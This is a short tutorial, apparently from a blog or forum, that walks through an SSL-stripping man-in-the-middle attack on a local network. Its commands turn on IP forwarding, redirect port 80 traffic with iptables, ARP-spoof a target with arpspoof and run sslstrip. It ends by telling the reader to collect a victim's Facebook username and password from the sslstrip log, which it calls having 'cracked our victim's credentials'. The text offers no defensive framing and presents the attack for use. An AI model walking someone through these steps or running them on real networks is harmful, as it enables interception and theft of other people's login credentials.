Step1: We should set our machine in forwarding mode so that our machine have the capacity to forward each packet that was not expected for your machine.
echo 1 > /proc/sys/net/ipv4/ip_forward
Step2: Need to set iptables to redirect traffic from port 80 to port 8080 to ensure outgoing connections to sslstrip.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
Step3: Need to find our Network Gateway.
Step4: Next we need to find our target machine IP address
Step5: ARP spoofing is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network.
arpspoof -i -t
Step6: Now we need to listen to port 8080, by opening a new terminal window.
sslstrip -l 8080
Step7: Now we should go to the victim machine and for Ex type facebook.com in the browser as we know facebook will go with HTTPS, but now check with victim machine, we can see the connection established through HTTP.
Step8: Now go to Home folder and check for sslstrip.log file, we can find the username and password victim entered for login.
That’s all we have cracked our victim’s credentials.
